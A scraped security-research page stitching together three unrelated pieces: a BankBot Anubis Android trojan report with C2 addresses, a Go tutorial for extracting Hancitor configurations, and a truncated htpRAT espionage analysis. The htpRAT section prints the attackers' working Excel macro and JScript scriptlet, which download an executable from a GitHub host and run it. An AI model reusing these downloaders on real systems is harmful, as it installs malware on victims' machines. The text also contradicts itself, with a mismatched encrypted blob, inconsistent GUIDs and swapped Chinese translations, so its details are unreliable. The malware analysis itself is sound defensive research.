Komponenten des Angriffs durch Reverse Engineering zu analysieren. Dabei werden wir sogar schon einige Schlussfolgerungen über den Angriff und das Verhalten des Akteurs machen können. Ein wenig wie bei einer polizeilichen Ermittlung, nur dass man sie aus der Geborgenheit der eigenen vier Wände durchführen kann.
# Related Insights **March 13, 2018** By The PhishLabs Team A newly observed variant of BankBot has been discovered masquerading as Adobe Flash Player, Avito, and an HD Video Player. This variant, now detected by PhishLabs as BankBot Anubis, was first identified on March 5, 2018. BankBot Anubis takes mobile threats to the next level, incorporating ransomware, keylogger abilities, remote access trojan functions, SMS interception, call forwarding, and lock screen functionality. Android Banking Trojans are sinister enough on their own; however, there is now a growing trend of integrating the functionality of other malware genres alongside Banker’s typical phishing overlay and SMS-stealing capabilities. According to our research, Lokibot was the first Android banking trojan to integrate ransomware functionality. Now, one BankBot actor is further upping the ante with code aimed at delivering functionality that ranges from ransomware to remote access. When the BankBot source code was first publicly leaked, many researchers forecasted an increase in the number of threat actors using the malware and a spike in the development of new variants with unique features. This forecast has now come to fruition, and multiple variants are currently active. When reviewing recent detections, we noticed that some new network endpoints had been introduced to the command and control (C2) server infrastructure of one of the variants PhishLabs tracks. These new endpoints clued us into the new functionality and feature names like locker, keylogger, and ratgate. The BankBot malware’s configuration is stored in a file named ‘set.xml’ in the application’s ‘shared prefs’ directory. This file is updated following installation, giving additional clues regarding the new functionality. ### Locker – AnubisCrypt As seen in the configuration, there are several entries related to the new ransomware functionality. These include ‘htmllocker’, which is updated after installation to contain the HTML code for a lock screen. This lock screen contains a poorly-worded message about illicit activity being detected on the victim’s phone. While the lock screen is reminiscent of other locking ransomware that simply disables access to the user interface, this implementation is indeed crypto ransomware. Some of the code responsible for the ransomware functionality is shown in the figures. The encrypted files are renamed with the extension ‘.AnubisCrypt’ and files are encrypted using a 256-bit symmetric key. Additional configuration fields related to the ransomware functionality include lock_btc, lock_amount, and key. These fields are updated via communication with the C2 server and were never updated during execution of the samples analyzed for this article. It appears that files encrypted with AnubisCrypt will be recoverable, based upon the symmetric key being stored in the configuration. ### Remote Access Trojan In addition to the ransomware functionality detailed above, this version of BankBot now contains remote access trojan (RAT) functionality. Commands available via the RAT service include Open Directory, Download File, Delete File/Folder, Start & Stop VNC, and Stop & Start Sound Recording. This functionality allows the attacker to directly manipulate the file system and monitor the victim’s activity. The malicious actor behind this update has also implemented keylogger functionality. The ability to record sound and log keystrokes makes this malware both potent and remarkably invasive. ### Banking Trojan & Additional Functionality Even with all the new functionality, BankBot is still a banking trojan at heart. Like most Android bankers, BankBot monitors for a targeted application to be launched, and then overlays the legitimate app with a phishing screen to steal the victim’s credentials. It then uses its SMS theft capabilities to intercept any subsequent security codes sent from the bank. Additional functionality found in BankBot Anubis includes: - Monitor for attempts to remove the malware or reset the system - Abuse accessibility features to authorize actions on behalf of the user - Send, receive, and intercept SMS - Lock the screen with an overlay - Display fake notifications and alerts - Collect system information such as installed applications, IP address, and GPS location - Request additional permissions - Send USSD requests - Forward calls to a specified number - Launch applications & open URLs - Update command and control servers - Clear configuration data to kill the bot ### Campaign Details The samples analyzed for this article targeted a total of 275 unique applications from organizations across the globe. Recent additions to this list of targets include 29 cryptocurrency applications. The domains utilized for command and control in these samples were registered from a variety of geolocations, including Japan, Moldova, and France. The infrastructure was hosted on servers in Ukraine, Germany, and the Netherlands. Nearly all of the relevant strings in the sample are in English, although there are some grammatical and spelling errors. The malware configuration contains one string in Bulgarian (perehvat_sws → intercept SMS); however, the fact that this variant is based on leaked source code renders this less meaningful. This updated variant has been observed masquerading as Adobe Flash Player, Avito, and an HD Video Player. ### Analyzed Samples - 48b93f6e4c6717bb87eb60129cc5ef07733f63e94f19cd2fa8214e89f6a61fdc (com.gsiuwvq.tixidk) - 4b410fc2a49c822b0d4df3419087d9eb6fea6df7e1b5d21ca575c7b83f1a490f (com.zwezxdhsyawt.bsagweg) - 9bb207a05703406f05f5749299b4c68f0de159be06550588ef1415c181401241 (com.griakeyicm.uvzbexhvdqt) - 5555a4226d3db9549a6d2b73a988f1ec0e399d766c2cae0727670b4fb0bd6de3 (com.bgmnyn.shqwru) - b3a4df38699300c2acb3efb3a29d5eb152e35ed1eb293fedb6d262441463421b (com.sqntwtqphxt.yipzsbjze) - 381b86843f3ebd8d4e4cf7aaa9b4b23dc64507d853745d54a65061250ea88b35 (com.inmwyjdtrlhz.unjdjkgimvq) ### C2s Observed - 91.243.80.118 - ussensivitius.gq (88.99.180.21) - webcam4bdsm.tk (92.63.197.27) - domainprobr.tk - eltinjapp.cf (92.63.197.27) - 5.8.88.163 ### Staying Safe As an individual, there are plenty of things you can do to minimize the chances of your devices being infected by mobile banking trojans. Among other things, you can: - Watch out for suspicious activity on your device and associated accounts, e.g., new and unknown device admin users being added, apps requesting extensive permissions, and strange activity on accounts accessed via mobile. - Use antivirus software. This will help you to detect indicators that can’t be identified manually. - Don’t root your devices, and don’t change your settings to allow apps from unknown sources. - Don’t install apps distributed by SMS, email, or ads, and don’t visit unofficial app stores. - Exercise caution even when installing from official stores. Only follow links to applications from trusted sites, and if you’re in any doubt, don’t install. - Keep software and operating systems up to date, as many malware variants prey on older, insecure versions. - Enable account notifications from your bank. Most banks offer these for when certain types of activity are detected. If you’re concerned your organization or customers could be harmed by mobile banking trojans, there are several steps you can take: - Educate your customers, particularly if your organization offers one or more legitimate apps through official app stores, and provide users with best practice information. - Allow users to report attacks or suspicious applications, and make sure you look into each reported incident. - Make use of alternative two-factor authentication techniques (i.e., not SMS) – physical tokens, biometrics, and one-time password applications are all good options. - Monitor transactions and IP geolocation information to identify suspicious activity. Provide your users with an easy way of informing you about upcoming travel or significant activity to avoid unnecessary lockouts. - Offer account notifications to inform your users of suspicious activity.
# How to Write a Hancitor Extractor in Go Hancitor (AKA Chanitor) is a well-known and old malware family. A number of great blogs have been posted on the topic of analyzing the loader. Recently, @herrcor live streamed building an extractor with Python. It was a great session and worth checking out. It seems that a Python extractor is relatively straightforward. So you might ask: Can we build the same extractor with Go, using only the standard library? Well, yes, but with some drawbacks. Here’s the Gist if you want to skip the comments and check out the code. Let’s see what can be done without importing any external code. Below we see that `Extract` is the only exported function, and it returns a configuration struct. ```go // Config represents a parsed malware configuration type Config struct { Url []url.URL CampaignID string Family string Raw json.RawMessage // any data that is not represented elsewhere in the struct can be put here } // Extract extracts configuration a HANCITOR PE func Extract(mal *pe.File) (config.Config, error) { if mal.Section(".data") == nil { return config.Config{}, errors.New("invalid pointer to PE data section") } dataSection, err := mal.Section(".data").Data() if err != nil { return config.Config{}, err } ``` The `debug/pe` library was certainly not intended for malware analysis, but it is sufficient for this task. The task being to parse out of the data the configuration material. The disadvantage to using only the standard library is that `debug/pe` does not offer the ability to do dynamic offset calculations. In lieu of using dynamic offsets as shown by herrcor, CAPEv2 can be used as a template. ```go // key material at 16:24 in the data section hash := sha1.Sum(dataSection[16:24]) rc4Key := hash[:5] // 24 == starting after the key material // 2000 == total size of config conf, err := decryptConfig(rc4Key, dataSection[24:2000]) if err != nil { return config.Config{}, err } ``` After the key material is parsed, we can decrypt and parse the configuration values. ```go cipher, err := rc4.NewCipher(rc4Key) if err != nil { return config.Config{}, err } // decrypt the config cipher.XORKeyStream(ciphertext, ciphertext) // start parsing into a Config struct var conf config.Config build := buildID(ciphertext) r, err := json.Marshal(fmt.Sprintf(`{"rc4_key": "%v" }`, rc4Key)) if err != nil { return config.Config{}, err } ``` So it is possible to write a full extractor in Go instead of Python. But there are some clear drawbacks. On the other hand, we didn’t take a trip through dependency hell to get to a statically compiled CLI tool, which didn’t import a single third-party library. So that was nice. The full source code for the extractor can be found as Gist. Just call the exported function like so: `config, err := hancitor.Extract(mal)` in which `mal` is a parsed DLL parsed as a `*pe.File`.
# Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN ## Introduction On November 8, 2016, a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary’s arsenal in a campaign against the Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs, and manage files. They support a fixed set of commands operators can execute using different command IDs—’file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim’s network, simply by wrapping commands. The file ‘APA list.xls’ (sha256: f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eefa0a88eeff89) was delivered through email. The top part contains Lao and English: “ທ່ານສາມາດກົດ Enable Content ເບິ່ ງ ແລະ ປຽນຂ້ມໍ ູນຂອງຕົນ” roughly translates as “You can click ‘Enable Content’ to (see/change) the data,” with an added example image of how to enable the macros in the document. Based on embedded metadata inside the Excel sheet, the last modified date on the file was “Mon Nov 07 07:18:32 2016,” meaning the document was prepared just before sending it to the target. ## Initial infection through “APA List.xls” The XLS document contains the following macro: ```vb Attribute VB_Name = “ThisWorkbook” Attribute VB_Base = “0{00020819-0000-0000-C000-000000000046}” Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Set objshell = CreateObject(“wscript.shell”) a = objshell.Run(“cmd.exe /s /c “”powe” + “rshell “”(New-Object System.Net.WebClient).DownloadFile(\””https://raw.githubusercontent.com/justtest1314/justme2/master/20160728.jpg\””,$env:appdata+\””\\ctfmon.exe\””)””; && start %appdata%\\ctfmon.exe”””, 0, False) Set objshell = Nothing Sheet3.Visible = 1 Sheet2.Visible = 1 Sheet1.Visible = 1 Sheet1.Unprotect Sheet1.Activate End Sub ``` Once the macro is enabled, the following PowerShell command runs to download a file and execute it (the downloaded file is stored in the Application Data folder in the user’s local profile). It is interesting to note the use of GitHub over HTTPS to stage the payload: ```cmd cmd.exe /s /c powershell (New-Object System.Net.WebClient).DownloadFile(“https://raw.githubusercontent.com/justtest1314/justme2/master/20160728.jpg”,$env:appdata+”\\ctfmon.exe”); && start %appdata%\\ctfmon.exe ``` ## GitHub repositories for payload delivery The threat actor behind this attack uses GitHub repositories to store second stage payloads. The user account used on GitHub is “justtest1314,” which holds three repositories, two of which have never been used since they were created. The third repository named “justme2” has been actively used to test different variations of transferring a payload from GitHub to a target machine over the course of six to seven months. The account and the initial repository were created on March 30, 2016, with the first commits starting the same day. Since the attack on the target in Laos, the attacker decided to clear out the repository. The files were prepped and ready for possible attacks since July 28, three months before the above documented attack. The files were removed on November 18, approximately 10 days after the attack against the Lao organization took place. The actor did not remove the actual repository but rather cleared out the repository using commits in which the attacker removed the files. This allowed us to get the whole history of all the commits over time as well as every payload (and every version of the payload). Based on the Git commit history, we can make a small table showing which file was changed at what time: | Commit Timestamp | Commit Hash | Files Added | Files Changed | Files Deleted | |---------------------------|-------------------------------------------------------------|-------------|---------------|---------------| | Mar 30, 2016, 3:55 AM GMT+2 | 9760f003facc0428e44a5e4da2d3d591c6d711ef | README.md | | | | Mar 30, 2016, 3:56 AM GMT+2 | cac8dace24e03a48b804e36a50d24f7747538ffc | 8001.exe | | | | Mar 30, 2016, 3:56 AM GMT+2 | 21e84fa5897de3c7e85d871e4ba33cb0611232ea | | 8001.exe | | | Mar 30, 2016, 3:58 AM GMT+2 | bebf35aeb82b80249312ed12cf0df81409537149 | test.zip | | | | Apr 1, 2016, 10:16 AM GMT+2 | 530ce17aa21250d9ce38525f353badb8c2f0c859 | ctfmon.jpg | | | | Apr 20, 2016, 3:07 AM GMT+2 | 87d999a3dc71a77ff95ec684e0805505dd822764 | script.jpg | | | | May 5, 2016, 4:54 AM GMT+2 | a63e06112517d9d734b053764354b66e20f12151 | 2011.jpg | | | | May 5, 2016, 4:58 AM GMT+2 | eda99ee315d4702b02646a4d8c22b5e2eb5aa01f | | 2011.jpg | | | May 5, 2016, 5:10 AM GMT+2 | 9d43ce169be6c773d8cfc755b36a26118c98ad1d | | 2011.jpg | | | Jul 28, 2016, 10:55 AM GMT+2 | e2d697dd03fa6ca535450a771e9b694ae18c22ce | 20160728.jpg| | | | Nov 18, 2016, 5:00 AM GMT+2 | f9ba255f5ce38dbe7a860b1de6525fdb5daf9f86 | | test.zip | | | Nov 18, 2016, 5:00 AM GMT+2 | 3cf50c62107265916777992f7745a1a0ec381d6f | | script.jpg | | | Nov 18, 2016, 5:00 AM GMT+2 | bf74c7199eb643fbb2ee998a643469f155439e18 | | ctfmon.jpg | | | Nov 18, 2016, 5:00 AM GMT+2 | 75b55d9dc45b245b91a3bbd5ebaf64a76dee1f56 | | 20160728.jpg | | | Nov 18, 2016, 5:01 AM GMT+2 | fc2a6c0e53b15c93d392f605f3180a43c7c0c78e | | 2011.jpg | | While only 20160728.jpg was used in the above-mentioned attack, there are many other available payloads. All files besides 2011.jpg are portable executables. 2011.jpg is in fact a scriptlet file containing some VBS scripting to download the ‘test.zip’ file seen in the above commit log. The scriptlet looks like this: ```xml <?XML version=”1.0”?> <scriptlet> <registration description=”Com” progid=”Commaster” version=”1.00” classid=”{20001111-0000-0000-0000-0000FEEDACDC}” > <script language=”JScript”> <![CDATA[ var Source = “https://raw.githubusercontent.com/justtest1314/justme2/master/test.zip”; var Target = “c:\\windows\\temp\\”+String(Math.random()*(Math.pow(10,10)))+”.exe”; var Object = new ActiveXObject(‘MSXML2.XMLHTTP’); Object.Open(‘GET’, Source, false); Object.Send(); if (Object.Status == 200) { // Create the Data Stream var Stream = new ActiveXObject(‘ADODB.Stream’); // Establish the Stream Stream.Open(); Stream.Type = 1; // adTypeBinary Stream.Write(Object.ResponseBody); Stream.Position = 0; Stream.SaveToFile(Target, 2); // adSaveCreateOverWrite Stream.Close(); new ActiveXObject(“WScript.Shell”).Run(Target,0,true); } ]]> </script> </registration> <public> <method name=”Exec”></method> </public> </scriptlet> ``` Test.zip is the first stage payload of htpRAT, similar to the 20160728.jpg file downloaded by the XLS mentioned at the start of this report. The following table lists the files and their respective MD5 and SHA256 values (note, 2011.jpg exists multiple times due to the multiple commits/changes done on this file): | Filename | MD5 | SHA256 | |------------------|----------------------------------------------|------------------------------------------------| | 2011.jpg | a164a57e10d257caa1b6230153c05f5d | ccfccbe54af2aec39a85d28b22614e2f43d084a2bcadeae75cad488a8957d862 | | 2011.jpg | 01cddd0509d725c0ee732e2ef6109ecd | 4b2f8cf7d6b2220cc17c66755564e68d3ab997af1ab3f47cbe2fa79293b3d38c | | 2011.jpg | 81b11c60b28a17c8a39503daf69e2f62 | 6b4f605e4cffce074e683f2ade409a56c318a34f1e4b6b0f15b582c5c66b64e9 | | 20160728.jpg | 5fa81da711581228763a7b7c74992cf8 | 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec | | 8001.exe | 417a608721e9924f089f9143a1687d97 | c098cca96c124325d89b433816e6e7fd0b14c51b287c254314f96560975f7864 | | ctfmon.jpg | d5a9d5d1811c149769833ae1cd3b1aca | ee1ea9df1f8d7aaa03a93692c1deab09e8d834d52e9d5971d013ed259d30229c | | script.jpg | 417a608721e9924f089f9143a1687d97 | c098cca96c124325d89b433816e6e7fd0b14c51b287c254314f96560975f7864 | | test.zip | 417a608721e9924f089f9143a1687d97 | c098cca96c124325d89b433816e6e7fd0b14c51b287c254314f96560975f7864 | ## Staged delivery of the final htpRAT core The analysis starts from the downloaded payload coming from the ‘APA list.xls’ file. The payload was downloaded to the application data folder and renamed to ‘ctfmon.exe’ from the original ‘20160728.jpg’ name (SHA256: 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec). The author calls this first package ‘Microsoft’ based on the project PDB path still left in the binary: ``` C:\Users\cool\Documents\Visual Studio 2010\Projects\microsoft\Release\microsoft.pdb ``` Upon execution, it first checks if a debugger is active as well as checks if it is able to execute the ‘ipconfig’ utility, most likely to ensure the next step will succeed. It then proceeds to drop a CAB file named ‘temp.cab’ in the local temp directory. The CAB file is a compressed bundle containing the third stage of the infection. The code decompresses the CAB file by running the Microsoft ‘expand’ utility. The following three files from the CAB file are placed in the local application data folder in a subfolder called ‘Microsoft’: | Filename | MD5 | SHA256 | |------------------|---------------------------------------------|------------------------------------------------| | data | 69d24b6fdc87af3a04318e1502e07977 | 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc949f8e627ed3848bdc68a | | fsma32.dll | a58f3f9441b4ecc9a0e089578048756f | 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e16865ba1eefd234 | | winnet.exe | c452cd2cc4c91b7da55e83b9eff46589 | a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2fe13c072 | After decompressing the files, the ‘winnet.exe’ file is executed. This file is a legitimate piece of software; it is a part of the F-Secure antivirus suite and used here because it is vulnerable to DLL side loading. The antivirus component normally loads code from a file called ‘fsma32.dll,’ which on a normal system is also a component of the antivirus product, but due to the way it searches for this file and performs no verification of its legitimacy, a malicious version of fsma32.dll is started. The author calls this DLL ‘windows’ based on the project PDB path still present: ``` C:\Users\cool\Documents\Visual Studio 2010\Projects\windows\Release\windows.pdb ``` The DLL loads the ‘data’ file, also decompressed from the CAB file, decrypts it, and loads the decrypted content into memory and executes it. The decrypted data content is, in fact, also a DLL file, the fourth stage of the infection. The author calls this DLL ‘dll’ based on the project PDB path still present: ``` C:\Users\cool\Documents\Visual Studio 2010\Projects\htpdll\Release\htpdll.pdb ``` This fourth stage of the infection is quite simple. It starts a new svchost process and decrypts a fifth stage payload it internally has stored and injects this into the svchost process. This starts a remote thread inside the svchost process to run the injected code. This final payload and the fifth stage is called ‘htpdll’ based on the project PDB path (this is where the name htpRAT comes from). The fifth stage is the final stage and contains the core of the RAT which communicates with the C2 server and executes the attacker’s commands. ## Analysis of the htpRAT core At its core, htpRAT is a simple and generically implemented RAT with some quite interesting implementations of its communication protocol, command execution, and configuration storage systems. ### Persistence & storage Initially, when htpRAT starts, it creates a mutex to ensure there is only one instance running. The name of the mutex can be used as an indicator on an active system; it is hard-coded as: ``` {3084ADEC-04CF-4981-B6A0-87DC5C385E24} ``` It then obtains its local path in the appdata folder (which is %LOCALAPPDATA%\Microsoft\). This path is used to store a file called ‘token.ini’ in which the system uptime (in milliseconds) is contained. The token.ini file is formatted using the INI format through the use of the GetPrivateProfileString and WriteProfileString functions of the WinAPI. htpRAT uses the following hardcoded information to structure its app and key names in the INI file. This can be used to filter out legitimate ‘token.ini’ files, if encountered: ``` {3084ADEC-04CF-4981-B6A0-87DC5C385E24} ``` Once htpRAT has its INI file written, it sets a startup entry in the registry to ensure automatic startup when a system is rebooted. A key is created under: ``` Software\\Microsoft\\Windows\\CurrentVersion\\Run ``` The key name ‘WindowsApp’ has the value of the wininit.exe binary location in the Microsoft subfolder in local appdata. ### Communication protocol htpRAT uses a custom communication protocol utilizing a JSON format internally which is encrypted and wrapped in HTTP requests. The base format of a request sent to the C2 server looks like this: ```json { "command": "<command string>", "content": "<command id result>", "mid": "<machine ID>", "cid": "<command id>" } ``` Individually, the field values contain the following: - **command**: The type of action/command the request has data for in its content field. The two known values for this are: - **online**: Set when the malware is polling the C2 server for new commands. (It also functions as an initial check-in; the client simply starts polling for commands on startup). When this value is set, the content field contains the following fields: - **tag**: The campaign tag which is hardcoded. - **name**: The computer name is obtained via a call to GetComputerName from the WinAPI. - **cmd**: This value is seen when the client has executed commands as per instructions from the C2 server. When this value is set, the content field contains the result from executing the command obtained from the C2. Additionally, the cid field contains a special command ID used for this command. - **content**: The command field can contain a subset of different keywords that change the content of the “content” field. The field then contains the result provided by the operator on the C2 side as long as the command field is set to “cmd.” Otherwise, when the command field is set to “online,” this field contains the campaign tag and computer name as explained in the subsection above. The data in this field is base64 encoded when it is assigned to this field to retain any newlines/data, as it can contain arbitrary data from command execution results. - **mid**: A unique machine ID based on the GetTickCount value, which is called the first time the RAT ever runs. This function returns the amount of milliseconds the system has been up, this is used (in combination with the computer name) to identify a unique client. - **cid**: The command ID either set to online when polling for new commands, or it is set to the command ID supplied by the C2. When a command is obtained from the C2, this command contains a special command ID supplied by the actor issuing the command. This command ID is replicated back to the C2 with the results of the requested command. The completed JSON object is, after being filled with the correct information, encrypted before being sent to the C2 through an HTTP POST request. The encryption of the POST data is done with a custom algorithm. A key is generated per request to the C2 server and is seeded through the return of the GetTickCount function. First, a 10 character string is generated by picking 10 numbers at random. The pipe symbol | is added at the end of the string making the entire key 11 characters. The check-in JSON data is then XOR’d with the generated key. Then the data is prepared for the POST request as follows: - The key is XOR’d with itself character by character: first character with the second, second with the third until the last character is hit which is XOR’d with the first character again. - The encrypted check-in data is prepended with the encrypted key and then encoded with base64. - The first character of the plain XOR key is prepended in front of the base64 encoded data. This prepending of the first key of the XOR key allows the C2 server to calculate back the entire key and decrypt the data. To give a good example of this protocol, we can work it back from a network capture of a victim checking in to the C2 server. The encrypted communication blob is: ``` 5BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1mVV14FX9EblwR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQoCBAUGD14ZEBZTUFATg4XXlpeWFlXURNL ``` The first layer of the data is the first plaintext character of the XOR key followed by the base64 encoded and XOR’d check-in data. We can split up like this: - First character of the key: 5 - Base64 encoded check-in data: BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1mVV14FX9EblwR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQoBAUGD14ZEBZTUFATFg4XXlpeWFlXURNL First thing to do is decoding the XOR key out of the data. We decode the base64 data and grab the first 11 bytes. We XOR the first byte of this data with the first character we obtained from the check-in, this gives us the second character of the key. With the second character of the key, we can XOR the third and so on. We continue this until we get the entire key back in plaintext; for the provided data above, the key is: 5040941647| In Python, extracting the key from the check-in data looks like this: We can, using the extracted key, decrypt the rest of the data with a simple XOR loop. Decrypted, we end up with the following JSON data for this check-in: For its HTTP communication, htpRAT uses a hardcoded user-agent: ``` Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 ``` While not in use in this attack, htpRAT has an internal configuration which allows the operator to build htpRAT clients with any of the following: - Proxy information (username, password, url) - Arbitrary raw request headers and data - Explicitly it has a field for the ‘Cookie’ header - WinHTTP request options (Timeouts) These options are visible when we reverse-engineered the malware, but they were not put to use in this build of htpRAT. ## Execution of operator commands The design of htpRAT differs from ‘common’ RATs. Most RATs feature a fixed set of commands that attackers can execute with different command IDs. For example, file download or file upload would both be unique functionalities of the RAT. htpRAT doesn’t adhere to this structure. Instead, the malware creator decided to generalize this concept by having the RAT execute commands directly as provided from a C2 server. This means, for example, there is no specific function to get screenshots on the host; instead, on the C2 server side, the operator has a button which says ‘Get Screenshot’ which simply generates a set of commands to execute through something like PowerShell to take a screenshot. This makes htpRAT dynamic and, subject to change. Any new functionality the operators want, they simply implement by wrapping commands on the C2 without having to update the htpRAT source code. Coincidentally, this also means we cannot give a fixed list of functionality for this RAT. Its functionality is completely dependent on what rights the RAT was able to obtain upon installation and what the operator wants to do. The way the execution of commands when the bot starts is implemented is as follows: - A separate command prompt process is started which can be communicated with via named pipes. - Any incoming commands from the C2 are executed via the named pipes on the subprocess. - Results are read from the named pipe and communicated back to the C2 server. ## Infrastructure analysis Based on the analysis of the malware, we know that qf.laoscript.org is the C2 host for this malware. The WHOIS data for this domain is quite interesting as the name ‘John Durdin’ can be seen on multiple domains, but what stands out is the difference in email address used in the registrations. The following is a search on domain registrations for this name in PassiveTotal—most have the same email address, but one stands out. The email address is the registered domain. If we look more closely, we see that there is also a .NET domain for laoscript. The C2 domain is clearly registered to raise fewer suspicions by mimicking the other domain. It becomes even more clear when we see all the registration information was just copied if you compare laoscript.net and laoscript.org. The only thing the actor could not fake was the email address due to the fact that an email address must be used to activate the domain at the registrar. The use of the laoscript name is quite interesting as it shows real active targeting. The real laoscript website is a piece of software that helps with the input of the Lao language text on computers, which gives the actor good leverage for social engineering. Looking at the domain, we can see it has been registered since 2014, which means this C2 domain has been under the control of the actor for at least two years. We can also see that in the past, the domain has been used in other attack campaigns as well, which indicates there are more yet undiscovered victims. There are also two samples that connect to qf.laoscript.org which are not htpRAT; they are in fact variations of the well-known PlugX malware: - 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c363ccd163f6d (First seen 2015-07-10) - eeb34edec5fd04e6a44bf5c991eaf79c68432d4d0037b582bcd9062cc2b94c62 (First seen 2015-07-17) Both also use DLL side loading techniques but using a different antivirus product to leverage execution through. Still, this means there’s an active connection between the current actors with the new unknown htpRAT and where they in the past used PlugX. While we can only guess for reasons why this actor decided to develop their own tool instead of continuing to use PlugX, it seems it is at least a step up in terms of detection of the malware. PlugX was becoming quite common and easy to detect on both the network as well as file system level. ## Other activity by the actor using htpRAT Going through older samples connecting to the C2 domain for htpRAT, we mostly find a variety of PlugX samples. We also ran into the exploit activity by the group, ShadowServer, documented in their paper, “The Italian Connection: An analysis of exploit supply chains and digital quartermasters.” Page six describes the use of the HackingTeam leaked exploits by various groups. One interesting connection is a piece of malware called ‘MyHNServer’ which is a packaged PlugX payload. This sample also connects to ‘qf.laoscript.org’ and has quite an interesting PDB path. The first folder name ‘巴哥组’ is interesting; in context, it translates to the ‘elderly’ or ‘brother’ group most likely referring to a more senior/experienced and respected group. If we correlate samples based on this PDB path, we get into some really interesting attacks. One other PDB path we can find based on the group’s name is for another piece of malware called ‘MyCL’ (sha256: 2fa07d41385c16b0f6ad32d12908db1743ca77db0b71e6cfd0fde76ef146e983): The first word ‘炮灰’ means ‘source code,’ and the second ‘源码’ means ‘victims.’ By itself, the sample isn’t that interesting, although it isn’t PlugX or htpRAT. It is interesting because of the C2 server used: ‘data.dubkill.com’. This domain has been widely used in other attacks in Vietnam as documented by BKav, a Vietnamese security company. Looking at the registration information for the dubkill domain, we can find an interesting link to a more recent government attack. The domain is registered to a person using the email address ‘[email protected],’ this same email address was also used to register ‘dcsvn.org’ which was used to imitate the official military domain in Vietnam. This attack was publicly documented by BKav and the Vietnamese government. Additionally, there is IP address overlap between ‘dcsvn.org’ and ‘laoscript.org’ in 2015. Following all these links over WHOIS, the shared domains, and shared working paths reveals the adversary’s web is wider and deeper than expected. While this report was solely written to inform about a new piece of malware used by this adversary, this last section highlights the size and amount of operations. ## Indicator of Compromise While we mentioned some other C2 domains in this article, the IOCs listed below tie in directly with confirmed activity for htpRAT for the above detailed campaign. All those IOCs can also be obtained from the public PassiveTotal project which will be kept in sync with new developments: ### htpRAT Network IOCs: | Domain | IP | |-----------------------|-------------------| | qf.laoscript.org | 128.199.245.204 | ### htpRAT Filesystem IOCs: | Filename | MD5 | SHA256 | |------------------|----------------------------------------------|------------------------------------------------| | data | 69d24b6fdc87af3a04318e1502e07977 | 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc949f8e627ed3848bdc68a | | fsma32.dll | a58f3f9441b4ecc9a0e089578048756f | 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e16865ba1eefd234 | | winnet.exe | c452cd2cc4c91b7da55e83b9eff46589 | a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2fe13c072 | | 2011.jpg | a164a57e10d257caa1b6230153c05f5d | ccfccbe54af2aec39a85d28b22614e2f43d084a2bcadeae75cad488a8957d862 | | 2011.jpg | 01cddd0509d725c0ee732e2ef6109ecd | 4b2f8cf7d6b2220cc17c66755564e68d3ab997af1ab3f47cbe2fa79293b3d38c | | 2011.jpg | 81b11c60b28a17c8a39503daf69e2f62 | 6b4f605e4cffce074e683f2ade409a56c318a34f1e4b6b0f15b582c5c66b64e9 | | 20160728.jpg | 5fa81da711581228763a7b7c74992cf8 | 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec | | 8001.exe | 417a608721e9924f089f9143a1687d97 | c098cca96c124325d89b433816e6e7fd0b14c51b287c254314f96560975f7864 | | script.jpg | 417a608721e9924f089f9143a1687d97 | c098cca96c124325d89b433816e6e7fd0b14c51b287c254314f96560975f7864 | | test.zip | 417a608721e9924f089f9143a1687d97 | c098cca96c124325d89b433816e6e7fd0b14c51b287c254314f96560975f7864 | ### htpRAT Miscellaneous IOCs: | Description | Value | |-------------------------------------|-------------------------------------------------| | INI key name | {80478813-B963-4C21-953E-D51544A1863B} | | Runtime mutex | {3084ADEC-04CF-4981-B6A0-87DC5C385E24} | | User agent | Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 | | Registry startup key name | WindowsApp | | qf.laoscript.org | 128.199.245.204 | Additional IOCs related to the ‘Other activity by the htpRAT group’ section are listed below. These contain a raw dump of observed samples, domains, and IPs. This last set of IOCs is not tracked in the public PT project linked above. Also, keep in mind there is a substantial amount of historical IP addresses for the domains in the list below which aren’t related to current activity. They are only shown in combination with the adjoining domain names. This section is quite raw and unstructured: the only connection is through shared infrastructure from the htpRAT campaign. ### Additional network IOCs: | Description | IP | |-------------------------------------|-------------------| | download.laokey.com | 91.109.29.115 | | ftp.laokey.com | 103.193.4.164 | | laokey.com | 43.249.38.250 | | mysqlupdate.hopto.org | 80.255.3.101 | | la.laoscript.org | 128.199.245.204 | | download.laoscript.org | 